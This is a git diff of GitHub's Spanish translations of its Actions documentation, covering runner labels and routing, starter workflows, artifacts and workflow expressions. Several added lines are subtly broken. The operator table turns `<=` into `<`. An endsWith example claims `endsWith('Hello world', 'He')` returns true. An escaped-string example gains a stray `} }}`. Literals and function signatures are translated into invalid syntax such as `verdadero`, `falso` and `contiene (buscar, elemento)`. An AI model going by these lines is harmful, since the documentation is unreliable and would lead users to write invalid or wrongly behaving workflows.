+Las etiquetas predeterminadas son fijas y no se pueden cambiar ni eliminar. Considera utilizar etiquetas personalizadas si necesitas más control sobre el enrutamiento de los jobs.
 
-## Using custom labels to route jobs
+## Utilizar etiquetas personalizadas para enrutar jobs
 
-You can create custom labels and assign them to your self-hosted runners at any time. Custom labels let you send jobs to particular types of self-hosted runners, based on how they're labeled. 
+Puedes crear etiquetas personalizadas y asignarlas a tus ejecutores auto-hospedados en cualquier momento. Las etiquetas personalizadas te permiten enviar jobs a tipos particulares de ejecutores auto-hospedados, basándose en cómo se etiquetan.
 
-For example, if you have a job that requires a specific type of graphics hardware, you can create a custom label called `gpu` and assign it to the runners that have the hardware installed. A self-hosted runner that matches all the assigned labels will then be eligible to run the job. 
+Por ejemplo, si tienes un job que requiere un tipo específico de hardware de gráficos, puedes crear una etiqueta personalizada llamada `gpu` y asignarla a los ejecutores que tengan instalado este hardware. Un ejecutor auto-hospedado que empate con las etiquetas asignadas será entonces elegible para ejecutar el job.
 
-This example shows a job that combines default and custom labels:
+Este ejemplo muestra un job que combina etiquetas predeterminadas y personalizadas:
 
 ```yaml
 runs-on: [self-hosted, linux, x64, gpu]
 ```
 
-- `self-hosted` - Run this job on a self-hosted runner.
-- `linux` - Only use a Linux-based runner.
-- `x64` - Only use a runner based on x64 hardware.
-- `gpu` - This custom label has been manually assigned to self-hosted runners with the GPU hardware installed. 
+- `self-hosted` - Ejecuta este job en un ejecutor auto-hospedado.
+- `linux` - Utiliza únicamente un ejecutor basado en Linux.
+- `x64` - Utiliza únicamente un ejecutor basado en hardware x64.
+- `gpu` - Esta etiqueta personalizada se asignó manualmente a los ejecutores auto-hospedados con hardware de GPU instalado.
 
-These labels operate cumulatively, so a self-hosted runner’s labels must match all four to be eligible to process the job.
+Estas etiquetas operan acumulativamente, así que las etiquetas de un ejecutor auto-hospedado deberán empatar con los cuatro criterios para poder ser elegibles para procesar el job.
 
-## Routing precedence for self-hosted runners
+## Precedencia de enrutamiento para los ejecutores auto-hospedados
 
-When routing a job to a self-hosted runner, {% data variables.product.prodname_dotcom %} looks for a runner that matches the job's `runs-on` labels:
+Cuando enrutas un job hacia un ejecutor auto-hospedado, {% data variables.product.prodname_dotcom %} busca un ejecutor que coincida con las etiquetas `runs-on` del job:
 
-{% ifversion fpt or ghes > 3.2 or ghae or ghec %}
-- {% data variables.product.prodname_dotcom %} first searches for an online and idle runner at the repository level, then at the organization level, {% ifversion fpt or ghec %} and if the organization is part of an enterprise,{% endif %} then at the enterprise level.
-- If {% data variables.product.prodname_dotcom %} finds an online and idle runner at a certain level that matches the job's `runs-on` labels, the job is then assigned and sent to the runner.
-  - If the runner doesn't pick up the assigned job within 60 seconds, the job is queued at all levels and waits for a matching runner from any level to come online and pick up the job.
-- If {% data variables.product.prodname_dotcom %} doesn't find an online and idle runner at any level, the job is queued to all levels and waits for a matching runner from any level to come online and pick up the job.
-- If the job remains queued for more than 24 hours, the job will fail.
+{% ifversion fpt or ghes > 3.3 or ghae or ghec %}
+- Si {% data variables.product.prodname_dotcom %} encuentra un ejecutor inactivo en línea que empate con las etiquetas de `runs-on` del job, este se asignará y enviará al ejecutor.
+  - Si ele ejecutor no recoge el job asignado en 60 segundos, este volverá a ponerse en cola para que el ejecutor nuevo pueda aceptarlo.
+- Si {% data variables.product.prodname_dotcom %} no encuentra un ejecutor en línea y uno inactivo que empato con sus etiquetas de `runs-on`, entonces dicho job permanecerá en cola hasta que un ejecutor se conecte.
+- Si el job permanece en cola por más de 24 horas, este fallará.
+{% elsif ghes = 3.3 %}
+- {% data variables.product.prodname_dotcom %} primero busca un ejecutor a nivel de repositorio y luego a nivel organizacional, posteriormente, lo hace a nivel empresarial.
+- Si {% data variables.product.prodname_dotcom %} encuentra un ejecutor inactivo en algún nivel que empate con las etiquetas de `runs-on` del job, dicho job se asignará entonces y se enviará al ejecutor.
+  - Si el ejecutor no toma el job asignado dentro de 60 segundos, dicho job se pondrá en cola en todos los niveles y esperará que un ejecutor de cualquier nivel que empate se ponga en línea y lo tome.
+- Si {% data variables.product.prodname_dotcom %} no encuentra un ejecutor inactivo y en línea en cualquier nivel, el job se pondrá en cola para todos los niveles y esperará que un ejecutor de cualquier nivel que empate se muestre en línea y lo tome.
+- Si el job permanece en cola por más de 24 horas, este fallará.
 {% else %}
-1. {% data variables.product.prodname_dotcom %} first searches for a runner at the repository level, then at the organization level, then at the enterprise level.
-2. The job is then sent to the first matching runner that is online and idle.
-   - If all matching online runners are busy, the job will queue at the level with the highest number of matching online runners.
-   - If all matching runners are offline, the job will queue at the level with the highest number of matching offline runners.
-   - If there are no matching runners at any level, the job will fail.
-   - If the job remains queued for more than 24 hours, the job will fail.
+1. {% data variables.product.prodname_dotcom %} primero busca un ejecutor a nivel de repositorio y luego a nivel organizacional, posteriormente, lo hace a nivel empresarial.
+2. El job se envía entonces a el ejecutor que coincida primero y que se encuentre en línea e inactivo.
+   - Si los ejecutores en línea coincidentes están ocupados, el job se pondrá en cola con la cantidad máxima de ejecutores coincidentes en línea.
+   - Si todos los ejecutores coincidentes están desconectados, el job se pondrá en cola a nivel de la cantidad máxima de ejecutores coincidentes desconectados.
+   - Si no hay ejecutores coincidentes en ningún nivel, el job fallará.
+   - Si el job permanece en cola por más de 24 horas, este fallará.
 {% endif %}
diff --git a/translations/es-ES/content/actions/index.md b/translations/es-ES/content/actions/index.md
index 5eff35a61d..8828a7a41c 100644
--- a/translations/es-ES/content/actions/index.md
+++ b/translations/es-ES/content/actions/index.md
@@ -13,7 +13,7 @@ featuredLinks:
     - /actions/guides/about-packaging-with-github-actions
     - /actions/monitoring-and-troubleshooting-workflows/about-monitoring-and-troubleshooting
   guideCards:
-    - /actions/guides/setting-up-continuous-integration-using-workflow-templates
+    - /actions/learn-github-actions/using-starter-workflows
     - /actions/guides/publishing-nodejs-packages
     - /actions/guides/building-and-testing-powershell
   popular:
@@ -30,10 +30,10 @@ changelog:
 examples_source: data/product-examples/actions/code-examples.yml
 product_video: 'https://www.youtube-nocookie.com/embed/cP0I9w2coGU'
 redirect_from:
-  - /articles/automating-your-workflow-with-github-actions/
-  - /articles/customizing-your-project-with-github-actions/
+  - /articles/automating-your-workflow-with-github-actions
+  - /articles/customizing-your-project-with-github-actions
   - /github/automating-your-workflow-with-github-actions
-  - /actions/automating-your-workflow-with-github-actions/
+  - /actions/automating-your-workflow-with-github-actions
   - /categories/automating-your-workflow-with-github-actions
   - /marketplace/actions
   - /actions/reference
diff --git a/translations/es-ES/content/actions/learn-github-actions/contexts.md b/translations/es-ES/content/actions/learn-github-actions/contexts.md
index 88c17692f1..6fd4f39039 100644
--- a/translations/es-ES/content/actions/learn-github-actions/contexts.md
+++ b/translations/es-ES/content/actions/learn-github-actions/contexts.md
@@ -221,7 +221,7 @@ The following table indicates where each context and special function can be use
 
 | Path | Context | Special functions |
 | ---- | ------- | ----------------- |
-| <code>concurrency</code> | <code>github</code> | |
+| <code>concurrency</code> | <code>github, inputs</code> | |
 | <code>env</code> | <code>github, secrets, inputs</code> | |
 | <code>jobs.&lt;job_id&gt;.concurrency</code> | <code>github, needs, strategy, matrix, inputs</code> | |
 | <code>jobs.&lt;job_id&gt;.container</code> | <code>github, needs, strategy, matrix, inputs</code> | |
diff --git a/translations/es-ES/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md b/translations/es-ES/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md
new file mode 100644
index 0000000000..8810b22276
--- /dev/null
+++ b/translations/es-ES/content/actions/learn-github-actions/creating-starter-workflows-for-your-organization.md
@@ -0,0 +1,99 @@
+---
+title: Creating starter workflows for your organization
+shortTitle: Creating starter workflows
+intro: Learn how you can create starter workflows to help people in your team add new workflows more easily.
+redirect_from:
+  - /actions/configuring-and-managing-workflows/sharing-workflow-templates-within-your-organization
+  - /actions/learn-github-actions/creating-workflow-templates
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Workflows
+  - CI
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Resumen
+
+{% data reusables.actions.workflow-organization-templates %}
+
+## Creating a starter workflow
+
+Starter workflows can be created by users with write access to the organization's `.github` repository. These can then be used by organization members who have permission to create workflows.
+
+{% ifversion fpt %}
+Starter workflows created by users can only be used to create workflows in public repositories. Organizations using {% data variables.product.prodname_ghe_cloud %} can also use starter workflows to create workflows in private repositories. Para obtener más información, consulta la [documentación de {% data variables.product.prodname_ghe_cloud %}](/enterprise-cloud@latest/actions/learn-github-actions/creating-starter-workflows-for-your-organization).
+{% endif %}
+
+{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %}
+{% note %}
+
+**Note:** To avoid duplication among starter workflows you can call reusable workflows from within a workflow. Esto puede ayudar a que tus flujos de trabajo se mantengan más fácilmente. Para obtener más información, consulta la sección "[Reutilizar flujos de trabajo](/actions/learn-github-actions/reusing-workflows)".
+
+{% endnote %}
+{% endif %}
+
+This procedure demonstrates how to create a starter workflow and metadata file. The metadata file describes how the starter workflows will be presented to users when they are creating a new workflow.
+
+1. En caso de que no exista previamente, crea en tu organización un repositorio público nuevo que se llame `.github`.
+2. Crea un directorio que se llame `workflow-templates`.
+3. Crea tu nuevo archivo de flujo de trabajo dentro del directorio `workflow-templates`.
+
+   Si necesitas referirte a la rama predeterminada de un repositorio, puedes utilizar el marcador de posición `$default-branch`. When a workflow is created the placeholder will be automatically replaced with the name of the repository's default branch.
+
+   Por ejemplo, este archivo de nombre `octo-organization-ci.yml` ilustra un flujo de trabajo básico.
+
+   ```yaml
+   name: Octo Organization CI
+
+   on:
+     push:
+       branches: [ $default-branch ]
+     pull_request:
+       branches: [ $default-branch ]
+
+   jobs:
+     build:
+       runs-on: ubuntu-latest
+
+       steps:
+         - uses: actions/checkout@v2
+
+         - name: Run a one-line script
+           run: echo Hello from Octo Organization
+   ```
+4. Crea un archivo de metadatos dentro del directorio `workflow-templates`. El archivo de metadatos debe tener el mismo nombre que el archivo de flujo de trabajo, pero en vez de tener la extensión `.yml`, este deberá encontrarse adjunto en `.properties.json`. Por ejemplo, este archivo que se llama `octo-organization-ci.properties.json` contiene los metadatos para un archivo de flujo de trabajo de nombre `octo-organization-ci.yml`:
+   ```yaml
+   {
+       "name": "Octo Organization Workflow",
+       "description": "Octo Organization CI starter workflow.",
+       "iconName": "example-icon",
+       "categories": [
+           "Go"
+       ],
+       "filePatterns": [
+           "package.json$",
+           "^Dockerfile",
+           ".*\\.md$"
+       ]
+   }
+   ```
+   * `name` - **Required.** The name of the workflow. This is displayed in the list of available workflows.
+   * `description` - **Required.** The description of the workflow. This is displayed in the list of available workflows.
+   * `iconName` - **Optional.** Specifies an icon for the workflow that's displayed in the list of workflows. The `iconName` must be the name of an SVG file, without the file name extension, stored in the `workflow-templates` directory. For example, an SVG file named `example-icon.svg` is referenced as `example-icon`.
+   * `categories` - **Opcional.** Define la categoría de lenguaje del flujo de trabajo. When a user views the available starter workflows for a repository, the workflows that match the identified language for the project are featured more prominently. Para obtener información sobre las categorías de lenguaje disponibles, consulta https://github.com/github/linguist/blob/master/lib/linguist/languages.yml.
+   * `filePatterns` - **Optional.** Allows the workflow to be used if the user's repository has a file in its root directory that matches a defined regular expression.
+
+To add another starter workflow, add your files to the same `workflow-templates` directory. Por ejemplo:
+
+![Workflow files](/assets/images/help/images/workflow-template-files.png)
+
+## Pasos siguientes
+
+To continue learning about {% data variables.product.prodname_actions %}, see "[Using starter workflows](/actions/learn-github-actions/using-starter-workflows)."
diff --git a/translations/es-ES/content/actions/learn-github-actions/essential-features-of-github-actions.md b/translations/es-ES/content/actions/learn-github-actions/essential-features-of-github-actions.md
index d817b01d1f..0429345bff 100644
--- a/translations/es-ES/content/actions/learn-github-actions/essential-features-of-github-actions.md
+++ b/translations/es-ES/content/actions/learn-github-actions/essential-features-of-github-actions.md
@@ -1,7 +1,7 @@
 ---
-title: Essential features of GitHub Actions
-shortTitle: Essential features
-intro: '{% data variables.product.prodname_actions %} are designed to help you build robust and dynamic automations. This guide will show you how to craft {% data variables.product.prodname_actions %} workflows that include environment variables, customized scripts, and more.'
+title: Características esenciales de las GitHub Actions
+shortTitle: Características esenciales
+intro: 'Las {% data variables.product.prodname_actions %} se diseñaron para ayudarte a crear automatizaciones robustas y dinámicas. Esta guía te mostrará cómo crear flujos de trabajo de {% data variables.product.prodname_actions %} que incluyan variables de ambiente, scripts personalizados, y más.'
 versions:
   fpt: '*'
   ghes: '*'
@@ -15,13 +15,13 @@ topics:
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## Overview
+## Resumen
 
-{% data variables.product.prodname_actions %} allow you to customize your workflows to meet the unique needs of your application and team. In this guide, we'll discuss some of the essential customization techniques such as using variables, running scripts, and sharing data and artifacts between jobs.
+Las {% data variables.product.prodname_actions %} te permiten personalizar tus flujos de trabajo para satisfacer las necesidades específicas de tu aplicación y de tu equipo. En esta guía, presentaremos algunas de las técnicas de personalización esenciales, tales como el uso de variables, la ejecución de scripts, y el compartir datos y artefactos entre jobs.
 
-##  Using variables in your workflows
+## Utilizar varibales en tus flujos de trabajo
 
-{% data variables.product.prodname_actions %} include default environment variables for each workflow run. If you need to use custom environment variables, you can set these in your YAML workflow file. This example demonstrates how to create custom variables named `POSTGRES_HOST` and `POSTGRES_PORT`. These variables are then available to the `node client.js` script.
+Las {% data variables.product.prodname_actions %} incluyen variables de ambiente predeterminadas para cada ejecución de flujo de trabajo. Si necesitas utilizar variables de ambiente personalizadas, puedes configurarlas en tu archivo de flujo de trabajo de YAML. Este ejemplo te muestra cómo crear variables personalizadas que se llamen `POSTGRES_HOST` y `POSTGRES_PORT`. Estas variables estarán entonces disponibles en el script `node client.js`.
 
 ```yaml
 jobs:
@@ -34,11 +34,11 @@ jobs:
             POSTGRES_PORT: 5432
 ```
 
-For more information, see "[Using environment variables](/actions/configuring-and-managing-workflows/using-environment-variables)."
+Para obtener más información, consulta "[Usar variables de entorno](/actions/configuring-and-managing-workflows/using-environment-variables)."
 
-## Adding scripts to your workflow
+## Agregar scripts a tu flujo de trabajo
 
-You can use actions to run scripts and shell commands, which are then executed on the assigned runner. This example demonstrates how an action can use the `run` keyword to execute `npm install -g bats` on the runner.
+Puedes utilizar acciones para ejecutar scripts y comandos de shell, los cuales se ejecutarán después en el ejecutor asignado. Este ejemplo muestra cómo una acción puede utilizar la palabra clave `run` para ejecutar `npm install -g bats` en el ejecutor.
 
 ```yaml
 jobs:
@@ -47,7 +47,7 @@ jobs:
       - run: npm install -g bats
 ```
 
-For example, to run a script as an action, you can store the script in your repository and supply the path and shell type.
+Por ejemplo, para ejecutar un script como una acción, puedes almacenarlo en tu repositorio e indicar la ruta y tipo de shell.
 
 ```yaml
 jobs:
@@ -58,13 +58,13 @@ jobs:
         shell: bash
 ```
 
-For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)."
+Para obtener más información, consulta la sección "[Sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idstepsrun)".
 
-## Sharing data between jobs
+## Compartir datos entre jobs
 
-If your job generates files that you want to share with another job in the same workflow, or if you want to save the files for later reference, you can store them in {% data variables.product.prodname_dotcom %} as _artifacts_. Artifacts are the files created when you build and test your code. For example, artifacts might include binary or package files, test results, screenshots, or log files. Artifacts are associated with the workflow run where they were created and can be used by another job. {% data reusables.actions.reusable-workflow-artifacts %}
+Si tu job genera archivos que quieras compartir con otro job en el mismo flujo de trabajo, o si quieres guardar los archivos para su referencia futura, puedes almacenarlos en {% data variables.product.prodname_dotcom %} como _artefactos_. Los artefactos son los archivos que se crean cuando desarrollas y pruebas tu código. Por ejemplo, los artefactos podrían incluir archivos binarios o de paquete, resultados de pruebas, capturas de pantalla o archivos de registro. Los artefactos se asocian con la ejecución del flujo de trabajo en donde se crearon y otro job puede utilizarlos. {% data reusables.actions.reusable-workflow-artifacts %}
 
-For example, you can create a file and then upload it as an artifact.
+Por ejemplo, puedes crear un archivo y luego subirlo como un artefacto.
 
 ```yaml
 jobs:
@@ -81,7 +81,7 @@ jobs:
           path: output.log
 ```
 
-To download an artifact from a separate workflow run, you can use the `actions/download-artifact` action. For example, you can download the artifact named `output-log-file`.
+Para descargar un artefacto de una ejecución de flujo de trabajo independiente, puedes utilizar la acción `actions/download-artifact`. Por ejemplo, puedes descargar el artefacto que se llama `output-log-file`.
 
 ```yaml
 jobs:
@@ -93,10 +93,10 @@ jobs:
           name: output-log-file
 ```
 
-To download an artifact from the same workflow run, your download job should specify `needs: upload-job-name` so it doesn't start until the upload job finishes.
+Para descargar un artefacto de la misma ejecución de flujo de trabajo, tu job de descarga debe especificar `needs: upload-job-name` para que no comience hasta que el job de carga termine.
 
-For more information about artifacts, see "[Persisting workflow data using artifacts](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)."
+Para obtener más información acerca de los artefactos, consulta la sección "[Persistir datos de flujos de trabajo utilizando artefactos](/actions/configuring-and-managing-workflows/persisting-workflow-data-using-artifacts)".
 
-## Next steps
+## Pasos siguientes
 
-To continue learning about {% data variables.product.prodname_actions %}, see "[Managing complex workflows](/actions/learn-github-actions/managing-complex-workflows)."
+Para seguir aprendiendo sobre las {% data variables.product.prodname_actions %}, consulta la sección "[Administrar flujos de trabajo complejos](/actions/learn-github-actions/managing-complex-workflows)".
diff --git a/translations/es-ES/content/actions/learn-github-actions/events-that-trigger-workflows.md b/translations/es-ES/content/actions/learn-github-actions/events-that-trigger-workflows.md
index d21e833b8c..56e92056f6 100644
--- a/translations/es-ES/content/actions/learn-github-actions/events-that-trigger-workflows.md
+++ b/translations/es-ES/content/actions/learn-github-actions/events-that-trigger-workflows.md
@@ -307,7 +307,7 @@ on:
 
 ### `deployment_status`
 
-Runs your workflow anytime a third party provides a deployment status, which triggers the `deployment_status` event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see "[Create a deployment status](/rest/reference/repos#create-a-deployment-status)."
+Runs your workflow anytime a third party provides a deployment status, which triggers the `deployment_status` event. Deployments created with a commit SHA may not have a Git ref. For information about the REST API, see "[Create a deployment status](/rest/reference/deployments#create-a-deployment-status)."
 
 | Webhook event payload | Activity types | `GITHUB_SHA` | `GITHUB_REF` |
 | --------------------- | -------------- | ------------ | -------------|
@@ -701,7 +701,7 @@ on:
 
 {% note %}
 
-**Note:** The webhook payload available to GitHub Actions does not include the `added`, `removed`, and `modified` attributes in the `commit` object. You can retrieve the full commit object using the REST API. For more information, see "[Get a commit](/rest/reference/repos#get-a-commit)".
+**Note:** The webhook payload available to GitHub Actions does not include the `added`, `removed`, and `modified` attributes in the `commit` object. You can retrieve the full commit object using the REST API. For more information, see "[Get a commit](/rest/reference/commits#get-a-commit)".
 
 {% endnote %}
 
diff --git a/translations/es-ES/content/actions/learn-github-actions/expressions.md b/translations/es-ES/content/actions/learn-github-actions/expressions.md
index 2c8cd63dc3..9e955b8f19 100644
--- a/translations/es-ES/content/actions/learn-github-actions/expressions.md
+++ b/translations/es-ES/content/actions/learn-github-actions/expressions.md
@@ -1,7 +1,7 @@
 ---
-title: Expressions
-shortTitle: Expressions
-intro: You can evaluate expressions in workflows and actions.
+title: Expresiones
+shortTitle: Expresiones
+intro: Puedes evaluar las expresiones en los flujos de trabajo y acciones.
 versions:
   fpt: '*'
   ghes: '*'
@@ -13,23 +13,23 @@ miniTocMaxHeadingLevel: 3
 {% data reusables.actions.enterprise-beta %}
 {% data reusables.actions.enterprise-github-hosted-runners %}
 
-## About expressions
+## Acerca de las expresiones
 
-You can use expressions to programmatically set variables in workflow files and access contexts. An expression can be any combination of literal values, references to a context, or functions. You can combine literals, context references, and functions using operators. For more information about contexts, see "[Contexts](/actions/learn-github-actions/contexts)."
+Puedes usar expresiones para establecer variables programáticamente en archivos de flujo de trabajo y contextos de acceso. Una expresión puede ser cualquier combinación de valores literales, referencias a un contexto o funciones. Puedes combinar valores literales, referencias de contexto y funciones usando operadores. Para obtener más información sobre los contextos, consulta la sección "[Contextos](/actions/learn-github-actions/contexts)".
 
-Expressions are commonly used with the conditional `if` keyword in a workflow file to determine whether a step should run. When an `if` conditional is `true`, the step will run.
+Las expresiones se utilizan comúnmente con la palabra clave condicional `if` en un archivo de flujo de trabajo para determinar si un paso debe ejecutar. Cuando un condicional `if` es `true`, se ejecutará el paso.
 
-You need to use specific syntax to tell {% data variables.product.prodname_dotcom %} to evaluate an expression rather than treat it as a string.
+Debes usar una sintaxis específica para decirle a {% data variables.product.prodname_dotcom %} que evalúe una expresión en lugar de tratarla como una cadena.
 
 {% raw %}
 `${{ <expression> }}`
 {% endraw %}
 
-{% data reusables.github-actions.expression-syntax-if %} For more information about `if` conditionals, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)."
+{% data reusables.github-actions.expression-syntax-if %} Para obtener más información acerca de los condicionales `if`, consulta la sección "[sintaxis de flujo de trabajo para {% data variables.product.prodname_actions %}](/articles/workflow-syntax-for-github-actions/#jobsjob_idif)".
 
 {% data reusables.github-actions.context-injection-warning %}
 
-#### Example expression in an `if` conditional
+#### Expresión de ejemplo en un condicional `if`
 
 ```yaml
 steps:
@@ -37,7 +37,7 @@ steps:
     if: {% raw %}${{ <expression> }}{% endraw %}
 ```
 
-#### Example setting an environment variable
+#### Ejemplo de parámetros en una variable de entorno
 
 {% raw %}
 ```yaml
@@ -46,18 +46,18 @@ env:
 ```
 {% endraw %}
 
-## Literals
+## Literales
 
-As part of an expression, you can use `boolean`, `null`, `number`, or `string` data types.
+Como parte de una expresión, puedes usar tipos de datos `boolean`, `null`, `number` o `string`.
 
-| Data type | Literal value |
-|-----------|---------------|
-| `boolean` | `true` or `false` |
-| `null`    | `null` |
-| `number`  | Any number format supported by JSON. |
-| `string`  | You must use single quotes. Escape literal single-quotes with a single quote. |
+| Tipo de datos | Valor literal                                                                           |
+| ------------- | --------------------------------------------------------------------------------------- |
+| `boolean`     | `verdadero` o `falso`                                                                   |
+| `null`        | `null`                                                                                  |
+| `number`      | Cualquier formato de número compatible con JSON.                                        |
+| `secuencia`   | Debes usar comillas simples. Escapar comillas simples literales con una comilla simple. |
 
-#### Example
+#### Ejemplo
 
 {% raw %}
 ```yaml
@@ -69,103 +69,103 @@ env:
   myHexNumber: ${{ 0xff }}
   myExponentialNumber: ${{ -2.99-e2 }}
   myString: ${{ 'Mona the Octocat' }}
-  myEscapedString: ${{ 'It''s open source!' }}
+  myEscapedString: ${{ 'It''s open source!' } }}
 ```
 {% endraw %}
 
-## Operators
+## Operadores
 
-| Operator    | Description |
-| ---         | ---         |
-| `( )`       | Logical grouping |
-| `[ ]`       | Index
-| `.`         | Property dereference |
-| `!`         | Not |
-| `<`         | Less than |
-| `<=`        | Less than or equal |
-| `>`         | Greater than |
-| `>=`        | Greater than or equal |
-| `==`        | Equal |
-| `!=`        | Not equal |
-| `&&`        | And |
-|  <code>\|\|</code> | Or |
+| Operador                  | Descripción                |
+| ------------------------- | -------------------------- |
+| `( )`                     | Agrupación lógica          |
+| `[ ]`                     | Índice                     |
+| `.`                       | Desreferencia de propiedad |
+| `!`                       | No                         |
+| `<`                    | Menor que                  |
+| `<`                    | Menor o igual              |
+| `>`                    | Mayor que                  |
+| `>=`                   | Mayor o igual              |
+| `==`                      | Igual                      |
+| `!=`                      | No es igual                |
+| `&&`              | Y                          |
+| <code>\|\|</code> | O                          |
 
-{% data variables.product.prodname_dotcom %} performs loose equality comparisons.
+{% data variables.product.prodname_dotcom %} realiza comparaciones de igualdad flexible.
 
-* If the types do not match, {% data variables.product.prodname_dotcom %} coerces the type to a number. {% data variables.product.prodname_dotcom %} casts data types to a number using these conversions:
+* Si los tipos no coinciden, {% data variables.product.prodname_dotcom %} fuerza el tipo a un número. {% data variables.product.prodname_dotcom %} fusiona los tipos de datos con un número usando estas conversiones:
 
-  | Type    | Result |
-  | ---     | ---    |
-  | Null    | `0` |
-  | Boolean | `true` returns `1` <br /> `false` returns `0` |
-  | String  | Parsed from any legal JSON number format, otherwise `NaN`. <br /> Note: empty string returns `0`. |
-  | Array   | `NaN` |
-  | Object  | `NaN` |
-* A comparison of one `NaN` to another `NaN` does not result in `true`. For more information, see the "[NaN Mozilla docs](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)."
-* {% data variables.product.prodname_dotcom %} ignores case when comparing strings.
-* Objects and arrays are only considered equal when they are the same instance.
+  | Tipo      | Resultado                                                                                                                      |
+  | --------- | ------------------------------------------------------------------------------------------------------------------------------ |
+  | Nulo      | `0`                                                                                                                            |
+  | Booleano  | `verdadero` devuelve `1` <br /> `falso` devuelve `0`                                                                     |
+  | Secuencia | Analizado desde cualquier formato de número JSON legal, de lo contrario, `NaN`. <br /> Nota: La cadena vacía arroja `0`. |
+  | Arreglo   | `NaN`                                                                                                                          |
+  | Objeto    | `NaN`                                                                                                                          |
+* Una comparación de un `NaN` con otro `NaN` no genera `true`. Para obtener más información, consulta "[Documentos de Mozilla NaN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/NaN)".
+* {% data variables.product.prodname_dotcom %} ignora las mayúsculas y minúsculas al comparar cadenas.
+* Los objetos y matrices solo se consideran iguales cuando son la misma instancia.
 
-## Functions
+## Funciones
 
-{% data variables.product.prodname_dotcom %} offers a set of built-in functions that you can use in expressions. Some functions cast values to a string to perform comparisons. {% data variables.product.prodname_dotcom %} casts data types to a string using these conversions:
+{% data variables.product.prodname_dotcom %} ofrece un conjunto de funciones integradas que puedes usar en expresiones. Algunas funciones fusionan valores en una cadena para realizar las comparaciones. {% data variables.product.prodname_dotcom %} fusiona los tipos de datos con una cadena usando estas conversiones:
 
-| Type    | Result |
-| ---     | ---    |
-| Null    | `''` |
-| Boolean | `'true'` or `'false'` |
-| Number  | Decimal format, exponential for large numbers |
-| Array   | Arrays are not converted to a string |
-| Object  | Objects are not converted to a string |
+| Tipo     | Resultado                                         |
+| -------- | ------------------------------------------------- |
+| Nulo     | `''`                                              |
+| Booleano | `'verdadero'` o `'falso'`                         |
+| Number   | Formato decimal, exponencial para grandes números |
+| Arreglo  | Las matrices no se convierten en cadenas          |
+| Objeto   | Los objetos no se convierten en cadenas           |
 
 ### contains
 
-`contains( search, item )`
+`contiene (buscar, elemento)`
 
-Returns `true` if `search` contains `item`. If `search` is an array, this function returns `true` if the `item` is an element in the array. If `search` is a string, this function returns `true` if the `item` is a substring of `search`. This function is not case sensitive. Casts values to a string.
+Arroja `true` si `search` contiene `item`. Si `search` es una matriz, esta función arroja `true` si el `item` es un elemento de la matriz. Si `search` es una cadena, esta función arroja `true` si el `item` es una subcadena de `search`. Esta función no distingue mayúsculas de minúsculas. Fusiona valores en una cadena.
 
-#### Example using an array
+#### Ejemplo usando una matriz
 
 `contains(github.event.issue.labels.*.name, 'bug')`
 
-#### Example using a string
+#### Ejemplo usando una cadena
 
-`contains('Hello world', 'llo')` returns `true`
+`contains('Hello world', 'llo')` devuelve `verdadero`
 
 ### startsWith
 
 `startsWith( searchString, searchValue )`
 
-Returns `true` when `searchString` starts with `searchValue`. This function is not case sensitive. Casts values to a string.
+Arroja `true` cuando `searchString` empieza con `searchValue`. Esta función no distingue mayúsculas de minúsculas. Fusiona valores en una cadena.
 
-#### Example
+#### Ejemplo
 
-`startsWith('Hello world', 'He')` returns `true`
+`startsWith('Hello world', 'He')` regresa a `verdadero`
 
 ### endsWith
 
 `endsWith( searchString, searchValue )`
 
-Returns `true` if `searchString` ends with `searchValue`. This function is not case sensitive. Casts values to a string.
+Arroja `true` si `searchString` termina con `searchValue`. Esta función no distingue mayúsculas de minúsculas. Fusiona valores en una cadena.
 
-#### Example
+#### Ejemplo
 
-`endsWith('Hello world', 'ld')` returns `true`
+`endsWith('Hello world', 'He')` devuelve `verdadero`
 
 ### format
 
 `format( string, replaceValue0, replaceValue1, ..., replaceValueN)`
 
-Replaces values in the `string`, with the variable `replaceValueN`. Variables in the `string` are specified using the `{N}` syntax, where `N` is an integer. You must specify at least one `replaceValue` and `string`. There is no maximum for the number of variables (`replaceValueN`) you can use. Escape curly braces using double braces.
+Reemplaza valores en la `string`, con la variable `replaceValueN`. Las variables en la `string` se especifican con la sintaxis `{N}`, donde `N` es un entero. Debes especificar al menos un `replaceValue` y una `string`. No existe un máximo para el número de variables (`replaceValueN`) que puedes usar. Escapar las llaves utilizando llaves dobles.
 
-#### Example
+#### Ejemplo
 
-Returns 'Hello Mona the Octocat'
+Arroja 'Hello Mona the Octocat'
 
 `format('Hello {0} {1} {2}', 'Mona', 'the', 'Octocat')`
 
-#### Example escaping braces
+#### Ejemplo de evasión de llaves
 
-Returns '{Hello Mona the Octocat!}'
+Devuelve '{Hello Mona the Octocat!}'
 
 {% raw %}
 ```js
@@ -177,31 +177,31 @@ format('{{Hello {0} {1} {2}!}}', 'Mona', 'the', 'Octocat')
 
 `join( array, optionalSeparator )`
 
-The value for `array` can be an array or a string. All values in `array` are concatenated into a string. If you provide `optionalSeparator`, it is inserted between the concatenated values. Otherwise, the default separator `,` is used. Casts values to a string.
+El valor para `array` puede ser una matriz o una cadena. Todos los valores en `array` se concatenan en una cadena. Si proporcionas `optionalSeparator`, se inserta entre los valores concatenados. De lo contrario, se usa el separador predeterminado `,`. Fusiona valores en una cadena.
 
-#### Example
+#### Ejemplo
 
-`join(github.event.issue.labels.*.name, ', ')` may return 'bug, help wanted'
+`join(github.event.issue.labels.*.name, ', ')` puede devolver 'bug, help wanted'
 
 ### toJSON
 
